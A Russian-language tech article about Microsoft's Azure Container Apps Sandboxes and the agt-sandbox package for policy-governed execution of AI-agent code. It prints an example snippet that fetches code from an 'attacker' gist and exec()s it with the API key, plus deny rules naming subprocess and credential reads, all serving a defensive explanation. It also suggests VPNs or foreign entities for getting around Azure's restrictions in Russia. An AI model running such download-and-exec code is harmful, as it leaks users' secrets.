Дата публикации
ai_products

Как Microsoft пытается обезопасить AI-агентов: песочницы Azure и Agent Governance Toolkit

Что нового

Microsoft представила связку из двух компонентов для безопасного запуска кода, который генерируют AI‑агенты:

  1. Azure Container Apps Sandboxes

    • Новый тип ресурса Azure: Microsoft.App/SandboxGroups (публичный превью с 2 июня 2026 года).
    • Каждый запуск кода — это отдельная аппаратно изолированная microVM.
    • Загрузка из OCI‑образа диска за доли секунды.
    • Поддержка полноценных снапшотов памяти и диска для сценариев scale‑to‑zero на stateful‑нагрузках.
    • Egress‑proxy с политикой fail‑closed: если хост не разрешён — запрос блокируется.
  2. Python‑пакет agt-sandbox (Agent Governance Toolkit Sandbox Layer)

    • Единый API для запуска сгенерированного агентом кода вне основного процесса приложения.
    • Три провайдера из коробки (подключаются как extras в pip):
      • DockerSandboxProvider — запуск в OCI‑контейнерах, с возможным автопереходом на gVisor или Kata, если они есть в системе (pip install "agt-sandbox[docker]").
      • HyperLightSandboxProvider — microVM Hyperlight поверх KVM / mshv / WHP (pip install "agt-sandbox[hyperlight]").
      • ACASandboxProvider — управляемые песочницы Azure Container Apps (pip install "agt-sandbox[azure]").
    • Общие типы данных (SandboxConfig, SandboxResult, SessionHandle, ExecutionHandle, SessionStatus, ExecutionStatus) для всех провайдеров.
    • Интеграция с политиками Agent Governance Toolkit через PolicyDocument и хелперы docker_config_from_policy, aca_config_from_policy и т.п.
  3. Глубокая интеграция с Agent Governance Toolkit (AGT)

    • Одна YAML‑политика (PolicyDocument) управляет и тем, где запускается код, и тем, что он может делать.
    • Два уровня применения политики:
      • На хосте — deny‑правила, allowlist инструментов, AST‑проверка на subprocess и shell‑вызовы.
      • В песочнице Azure — egress‑allowlist на уровне сети и лимиты CPU/памяти.
  4. Показательный пример — LLM‑планировщик для научных исследований

    • Агент получает тикет вида {"topic": "differential privacy", "depth": "survey"}.
    • GPT‑класс модель планирует шаги и генерирует для каждого шагa Python‑фрагмент.
    • Каждый фрагмент выполняется по цепочке из шести проверок политики и ограничений песочницы.
    • Политика запрещает subprocess, pip install, доступ к OPENAI_API_KEY и хостам вне allowlist.

Цифры по производительности и стоимости Microsoft не приводит, но делает акцент на sub‑second запуске microVM и возможности масштабировать stateful‑агентов до нуля благодаря снапшотам.


Как это работает

Проблема: LLM с доступом к Python REPL

Когда вы даёте агенту право генерировать и исполнять код, он по сути получает Python REPL на вашей машине или в вашем backend‑процессе.
Даже небольшой, на первый взгляд безобидный сниппет может превратиться в утечку секретов:

# "summarize the changelog"
import urllib.request, os

data = urllib.request.urlopen(
    "https://gist.githubusercontent.com/attacker/.../raw"
).read()

exec(data, {"OPENAI_API_KEY": os.environ["OPENAI_API_KEY"]})

Две строки стандартной библиотеки — и агент скачивает произвольный код из интернета и передаёт ему ваш API‑ключ. Сегодня это выглядит как гипотеза, а завтра — как постмортем в проде.

Microsoft предлагает разбить защиту на два конкретных вопроса:

  1. Где запускается код?
    Ответ: не в вашем процессе, а в изолированной песочнице.

  2. Что этот код может делать?
    Ответ: это жёстко задаётся политикой — какие инструменты доступны, какие хосты, какие лимиты, что категорически запрещено.

Azure Container Apps Sandboxes

Azure Container Apps Sandboxes — это управляемые песочницы для «недоверенного» кода агентов:

  • Каждая песочница — отдельная microVM с аппаратной изоляцией.
  • Загрузка из OCI‑образа диска за доли секунды, что позволяет создавать песочницу на каждую сессию агента.
  • Поддержка suspend/resume с полным снапшотом памяти и диска. Это даёт возможность держать stateful‑агентов и при этом не платить за простаивающие ресурсы (scale‑to‑zero).
  • Перед сетью песочницы стоит egress‑proxy: всё, что не разрешено политикой, блокируется, по умолчанию — deny.
  • Тот же примитив уже используется в GitHub Copilot Cloud Sandboxes, Foundry Hosted Agents и ACA Express.

Если вы работали с ACA Dynamic Sessions, то Sandboxes — это их развитие и новая точка входа для сценариев с агентами.

agt-sandbox: тонкий слой изоляции

Пакет agt-sandbox (agent_sandbox в Python) — это абстракция над разными типами песочниц. Он решает одну задачу: взять сгенерированный агентом фрагмент кода и выполнить его где‑то ещё, не в вашем приложении, под политикой и с нормальным структурированным результатом.

Внутри пакета:

  • SandboxProvider — абстрактный класс, который реализуют все backend‑провайдеры.
  • Три встроенных провайдера:
    • DockerSandboxProvider — контейнеры, с возможным автопереходом на gVisor/Kata.
    • HyperLightSandboxProvider — microVM Hyperlight.
    • ACASandboxProvider — песочницы Azure Container Apps.
  • Общие dataclass‑типы: SandboxConfig, SandboxResult, SessionHandle, ExecutionHandle, плюс SessionStatus и ExecutionStatus.
  • Хелперы для проекции политики в конфигурацию песочниц: docker_config_from_policy, aca_config_from_policy и т.д.

Контракт SandboxProvider

Интерфейс SandboxProvider минимален и понятен:

class SandboxProvider(ABC):
    @abstractmethod
    def create_session(self, agent_id, policy=None, config=None) -> SessionHandle:
        ...

    @abstractmethod
    def execute_code(self, agent_id, session_id, code, *, context=None) -> ExecutionHandle:
        ...

    @abstractmethod
    def destroy_session(self, agent_id, session_id) -> None:
        ...

    @abstractmethod
    def is_available(self) -> bool:
        ...

У каждого метода есть *_async‑вариант, который по умолчанию просто оборачивает синхронную реализацию через asyncio.to_thread. Это позволяет писать асинхронных агентов без необходимости реализовывать собственную работу с event‑loop для каждого backend.

Ключевые свойства контракта:

  • Пересессионная изоляция
    Пара (agent_id, session_id) соответствует ровно одной песочнице. Разные сессии не делят состояние. Внутри одной сессии состояние сохраняется между вызовами execute_code.

  • Политика как первый аргумент
    create_session принимает PolicyDocument. Провайдер сам проецирует её на свои примитивы: лимиты CPU/памяти, сетевые правила, переменные окружения.

  • Host‑side PolicyEvaluator
    Каждый вызов execute_code сначала прогоняется через PolicyEvaluator. Если политика запрещает вызов — код вообще не дойдёт до песочницы.

  • Единый SandboxResult
    Все провайдеры возвращают результат одного формата: success, exit_code, stdout, stderr, killed, kill_reason, duration_seconds.

Жёсткая изоляция между песочницами (чтобы один скомпрометированный агент не читал память или диск другого) — это гарантия Azure на уровне платформы внутри SandboxGroup. agt-sandbox управляет только жизненным циклом.

ACASandboxProvider: мост в Azure

ACASandboxProvider — свежий провайдер, который использует ранний Python‑SDK azure-containerapps-sandbox. Он даёт агенту возможность запускать шаги в управляемых контейнерах Azure без самостоятельной настройки инфраструктуры.

Три метода напрямую мапятся на SDK:

  • create_session(agent_id, policy=None, config=None)
    Создаёт новую песочницу Azure Container Apps, применяет лимиты ресурсов и egress‑allowlist из политики. Возвращает SessionHandle.

  • execute_code(agent_id, session_id, code, *, context=None)
    Сначала запускает host‑side проверки политики, затем выполняет код внутри песочницы. Если политика запрещает вызов — поднимает PermissionError. Возвращает ExecutionHandle с SandboxResult.

  • destroy_session(agent_id, session_id)
    Удаляет песочницу в Azure и чистит кеш провайдера.

Пример жизненного цикла:

import os
from agent_sandbox import ACASandboxProvider
from agent_os.policies import PolicyDocument

policy = PolicyDocument.from_yaml("policies/aca_research_agent.yaml")

provider = ACASandboxProvider(
    resource_group=os.environ["AZURE_RG"],
    sandbox_group="agents",
    region=os.environ["AZURE_REGION"],
    disk="python-3.13",  # уровень конструктора, а не сессии
    ensure_group_location=os.environ["AZURE_REGION"],
)

# create_session принимает (agent_id, policy=..., config=...). Политика несёт
# allowlist сети и дефолтные лимиты CPU/памяти/таймаута.
handle = provider.create_session("research-agent-1", policy=policy)

# execute_code принимает (agent_id, session_id, code, *, context=...).
# Таймаут берётся из конфигурации сессии, которая была спроецирована из
# policy.defaults.timeout_seconds при create_session.
exec_handle = provider.execute_code(
    "research-agent-1",
    handle.session_id,
    "import urllib.request as u; print(u.urlopen('https://arxiv.org').status)",
    context={"intent": "smoke-test arxiv reachability"},
)

print(exec_handle.result.stdout)

provider.destroy_session("research-agent-1", handle.session_id)

С точки зрения разработчика, вы пишете агента против абстракции SandboxProvider, а затем выбираете backend заменой одного конструктора: Docker/Hyperlight локально и ACA — в облаке.


Что это значит для вас

Для кого это вообще

  • Разработчики агентных систем на Azure
    Если вы строите цепочки инструментов вокруг GPT‑класса моделей и даёте им право исполнять код, связка AGT + ACA Sandboxes закрывает базовые вопросы безопасности: где код живёт и что он может делать.

  • Команды, которые запускают LLM‑агентов в проде
    Здесь важен audit‑трейл, минимизация blast radius, чёткая сегментация по сессиям и политикам. Песочницы плюс PolicyDocument дают вам один источник правды и многоуровневое применение ограничений.

  • Разработчики внутренних платформ и туллинга
    Если вы строите свои «Copilot‑подобные» решения поверх Azure, можете использовать тот же примитив, что и GitHub Copilot Cloud Sandboxes и Foundry Hosted Agents, вместо ручной сборки Kubernetes + gVisor.

Где это помогает

  1. Запуск кода от LLM без страха за прод‑процесс
    Код агента не попадает в ваш основной backend. Он живёт в отдельной microVM с лимитами CPU/памяти, без возможности вылезти в сеть мимо egress‑proxy.

  2. Тонкая политика доступа к сети и инструментам
    В YAML‑политике вы задаёте:

    • список разрешённых хостов (network_allowlist),
    • дефолтное сетевое поведение (network_default: deny),
    • allowlist инструментов (tool_allowlist),
    • deny‑правила по содержимому кода (contains: "subprocess", "pip install", "OPENAI_API_KEY").

    Это позволяет, например, дать агенту доступ только к api.arxiv.org, *.github.com и своему внутреннему поиску, полностью отрезав остальной интернет.

  3. Контроль времени выполнения и ресурсов
    В defaults политики вы задаёте max_cpu, max_memory_mb, timeout_seconds.
    Провайдер проецирует это в лимиты песочницы, а после выполнения шага помечает результат как killed=True и добавляет kill_reason, если таймаут превышен.

  4. Согласованность между средами
    Один и тот же агентский код работает с Docker локально и с ACA в облаке. Политика остаётся той же, а конфигурация песочниц подстраивается через хелперы (docker_config_from_policy, aca_config_from_policy).

  5. Безопасная разработка и отладка агентов
    Можно запускать экспериментальные планировщики и инструменты без риска «подстрелить» основное приложение. Если LLM сгенерирует опасный фрагмент, он упрётся в deny‑правило или egress‑proxy.

Где это не спасёт

  • Логика агента остаётся на вашей совести
    Песочницы не делают планировщик умнее. Если вы разрешите в политике слишком много, агент сможет делать больше, чем вы хотели.

  • Нет магического контроля над сторонними API
    Если вы разрешили хост, а API на нём ведёт себя странно или небезопасно, песочница это не исправит.

  • Юридические и географические ограничения
    Azure Container Apps Sandboxes — это сервис Azure. Для работы нужен доступ к Azure, учётная запись и ресурсы в поддерживаемом регионе.

Доступность в России

Azure официально ограничил работу с российскими юрлицами. Для использования Azure Container Apps Sandboxes и AGT в проде российскому бизнесу, скорее всего, придётся:

  • либо работать через зарубежные юрлица,
  • либо использовать VPN и аккаунты, не связанные с российскими организациями.

Для частных разработчиков с уже существующими подписками Azure это технически возможно, но юридические и комплаенс‑риски нужно оценивать отдельно.


Место на рынке

Microsoft позиционирует Azure Container Apps Sandboxes как базовый строительный блок для безопасных агентных сценариев в своём облаке. Этот же примитив уже используется в GitHub Copilot Cloud Sandboxes, Foundry Hosted Agents и ACA Express, то есть внутри экосистемы Microsoft он становится стандартом.

Сравнения с конкурентами по скорости, цене или надёжности компания не приводит. Можно зафиксировать только архитектурные моменты:

  • В отличие от простого запуска в Docker‑контейнере на своих нодах, вы получаете аппаратную изоляцию microVM и управляемый сервис без необходимости оперировать Kubernetes‑кластером.
  • В отличие от самописных решений на базе Firecracker/gVisor, здесь уже есть интеграция с VNet, Managed Identity, Log Analytics и единая модель политик через AGT.

Если вам достаточно локальных контейнеров, можно использовать DockerSandboxProvider. Если вы строите облачную платформу поверх Azure, ACASandboxProvider даёт более плотную интеграцию с инфраструктурой Microsoft, но без конкретных цифр по стоимости и производительности сравнивать его с другими облачными песочницами некорректно.


Установка

Ниже — команды установки из примера Microsoft, без сокращений.

Установка Python‑пакетов

# agt-sandbox с Azure-провайдером и политиками
pip install "agt-sandbox[azure,policy]"

# Ранний SDK Azure Container Apps Sandboxes
pip install azure-containerapps-sandbox

# Опционально: только для LLM-планировщика в примере
pip install openai

Разовая настройка Azure

Ресурсная группа должна существовать заранее. Провайдер сам создаст SandboxGroup при первом запуске, но не создаст Resource Group.

az login
az group create --name agents-rg --location westus2

$env:AZURE_SUBSCRIPTION_ID = (az account show --query id -o tsv)
$env:AZURE_RG = "agents-rg"
$env:AZURE_REGION = "westus2"

Быстрая проверка, что всё импортируется:

from agent_sandbox import ACASandboxProvider
from agent_os.policies import PolicyDocument

print("ok")

Как запустить: пример политики и агента

Политика aca_research_agent.yaml

Политика полностью описана в YAML, без Python‑обёрток. Она задаёт лимиты CPU/памяти, таймаут, сетевые правила, allowlist инструментов и deny‑правила по содержимому кода.

name: research-agent
version: "2"

defaults:
  action: allow
  max_cpu: 1.0          # → sandbox CPU cap = 1000 millicores
  max_memory_mb: 2048   # → sandbox memory cap = 2048 MiB
  timeout_seconds: 90   # per-execute_code wall-clock kill

  network_default: deny # fail-closed (also the schema default)

network_allowlist:
  - api.openai.com
  - api.arxiv.org
  - export.arxiv.org
  - "*.github.com"
  - pypi.org
  - files.pythonhosted.org

tool_allowlist:
  - fetch_arxiv
  - fetch_github_readme
  - search_index

rules:
  - name: deny-shell-out-subprocess
    condition: { field: code, operator: contains, value: "subprocess" }
    action: deny
    priority: 100
    message: "shell-out blocked by research-agent policy"

  - name: deny-pip-install
    condition: { field: code, operator: contains, value: "pip install" }
    action: deny
    priority: 100
    message: "ad-hoc dependency installs are not permitted"

  - name: deny-secret-openai
    condition: { field: code, operator: contains, value: "OPENAI_API_KEY" }
    action: deny
    priority: 100
    message: "agents may not read host credentials"

  # Tool-allowlist gate. Fires only when the eval context carries a
  # `tool_name` — untagged execute_code calls are unaffected.
  - name: deny-tool-not-in-allowlist
    condition:
      field: tool_name
      operator: not_in
      value: [fetch_arxiv, fetch_github_readme, search_index]
    action: deny
    priority: 200
    message: "tool not in research-agent tool_allowlist"

Две ключевые особенности:

  • Сеть fail‑closed: любой хост вне network_allowlist блокируется egress‑proxy Azure. Пустой allowlist даёт песочницу без исходящих соединений.
  • tool_allowlist срабатывает только если вы явно передали tool_name в context. Чистый execute_code_async(...) без tool_name этим правилом не трогается.

Проверка политики перед использованием:

python -m agent_os.policies.cli validate aca_research_agent.yaml
# OK

Агент: LLM‑планировщик + выполнение шагов в песочнице

Ниже — полный пример из Microsoft. Агент получает тикет, просит GPT‑класс модель распланировать шаги и по одному выполняет их в песочнице ACA, прогоняя каждый через политику.

import asyncio, json, os, time, uuid
from dataclasses import dataclass

from agent_os.policies import PolicyDocument
from agent_sandbox import ACASandboxProvider
from openai import AsyncOpenAI


@dataclass
class Step:
    index: int; intent: str; code: str


@dataclass
class StepReceipt:
    step_index: int; intent: str
    decision: str  # allowed | denied-by-policy | blocked-at-egress | timeout | error
    reason: str | None
    azure_sandbox_id: str
    duration_seconds: float
    stdout_excerpt: str


PLANNER_SYSTEM = """You are a research planner. Output JSON of the form
{"steps":[{"intent": str, "code": str}, ...]} where each `code` is
self-contained Python using only the standard library (use urllib.request
for HTTP, not requests). Snippets may reach: api.arxiv.org, export.arxiv.org,
*.github.com, pypi.org. No installs, no shell, no secrets."""


async def plan(client: AsyncOpenAI, ticket: dict) -> list[Step]:
    resp = await client.chat.completions.create(
        model="gpt-4o-mini",
        response_format={"type": "json_object"},
        messages=[
            {"role": "system", "content": PLANNER_SYSTEM},
            {"role": "user", "content": json.dumps(ticket)},
        ],
    )
    plan = json.loads(resp.choices[0].message.content)
    return [Step(i, s["intent"], s["code"]) for i, s in enumerate(plan["steps"])]


async def run_step(provider, agent_id, session_id, step: Step) -> StepReceipt:
    started = time.monotonic()
    try:
        exec_handle = await provider.execute_code_async(
            agent_id,
            session_id,
            step.code,
            context={"step_index": step.index, "intent": step.intent},
        )
    except PermissionError as exc:
        return StepReceipt(
            step.index,
            step.intent,
            "denied-by-policy",
            str(exc),
            session_id,
            time.monotonic() - started,
            "",
        )

    res = exec_handle.result
    combined = (res.stdout or "") + (res.stderr or "")
    egress_block = "egress-blocked" in combined or "HTTP Error 403" in combined

    if getattr(res, "killed", False):
        decision, reason = "timeout", getattr(res, "kill_reason", "timeout")
    elif egress_block:
        decision, reason = "blocked-at-egress", "Azure egress proxy denied a host"
    elif res.success:
        decision, reason = "allowed", None
    else:
        decision, reason = "error", (res.stderr or "").strip()[:200]

    return StepReceipt(
        step.index,
        step.intent,
        decision,
        reason,
        session_id,
        time.monotonic() - started,
        (res.stdout or "").strip()[:200],
    )


async def main(ticket_path: str) -> None:
    ticket = json.loads(open(ticket_path, encoding="utf-8").read())
    policy = PolicyDocument.from_yaml("aca_research_agent.yaml")

    missing = [k for k in ("AZURE_SUBSCRIPTION_ID", "AZURE_RG") if not os.environ.get(k)]
    if missing:
        raise SystemExit(f"missing env vars: {', '.join(missing)}")

    provider = ACASandboxProvider(
        subscription_id=os.environ["AZURE_SUBSCRIPTION_ID"],
        resource_group=os.environ["AZURE_RG"],
        sandbox_group="agents",
        region=os.environ.get("AZURE_REGION", "westus2"),
        disk="python-3.13",
        ensure_group_location=os.environ.get("AZURE_REGION", "westus2"),
    )

    if not provider.is_available():
        raise SystemExit(provider.unavailable_reason)

    agent_id = f"research-{uuid.uuid4().hex[:6]}"
    handle = await provider.create_session_async(agent_id, policy=policy)

    try:
        steps = await plan(AsyncOpenAI(), ticket)
        receipts = [
            await run_step(provider, agent_id, handle.session_id, s)
            for s in steps
        ]
        print(json.dumps([r.__dict__ for r in receipts], indent=2, default=str))
    finally:
        await provider.destroy_session_async(agent_id, handle.session_id)


if __name__ == "__main__":
    import sys
    asyncio.run(main(sys.argv[1]))

Запускаете его с тикетом, например:

{"topic": "differential privacy", "depth": "survey"}

На выходе получите JSON‑массив «квитанций» по каждому шагу: разрешён, заблокирован политикой, заблокирован egress‑proxy, таймаут или ошибка, плюс выдержка из stdout и время выполнения.


Как именно работает многоуровневая политика

Интересная часть в том, как один PolicyDocument применяется в разных местах пути выполнения кода.

  1. До любого похода в Azure (host‑side)

    • PolicyEvaluator проверяет:
      • deny‑правила по полям code, tool_name,
      • tool_allowlist,
      • контекст вызова (context).
    • При нарушении поднимается PermissionError. Песочница даже не вызывается.
    • enforce_no_subprocess_execution парсит AST и запрещает:
      • subprocess.*,
      • os.system, os.execve, os.spawn*,
      • wildcard‑импорты этих модулей.
  2. Создание песочницы (Azure‑side, один раз на сессию)

    • aca_config_from_policy проецирует:

      • defaults.max_cpu и defaults.max_memory_mb в лимиты CPU/памяти песочницы.
    • network_allowlist и defaults.network_default превращаются в:

      EgressPolicy(
          default_action="Deny",
          host_rules=[EgressHostRule(pattern, action="Allow"), …]
      )
      
    • Политика по сети по умолчанию fail‑closed: без allowlist — нет исходящей сети.

  3. Каждое выполнение кода

    • Внутри песочницы egress‑proxy применяет сетевые правила к каждому исходящему соединению.
    • Блокированный хост даёт HTTP 403 внутри гостевой ОС. Код агента может это отловить, а провайдер помечает результат как blocked-at-egress.
    • После возврата из SandboxClient.exec провайдер сравнивает duration_seconds с defaults.timeout_seconds. Если лимит превышен — помечает result.killed=True и выставляет kill_reason.

Итог: один YAML‑документ даёт шесть точек контроля в трёх местах — до Azure, внутри песочницы и после выполнения. Модель никогда не считается доверенной: ограничения всегда применяет компонент, который ближе всего к защищаемому ресурсу — CPU, сеть или ваш основной процесс.


Читайте также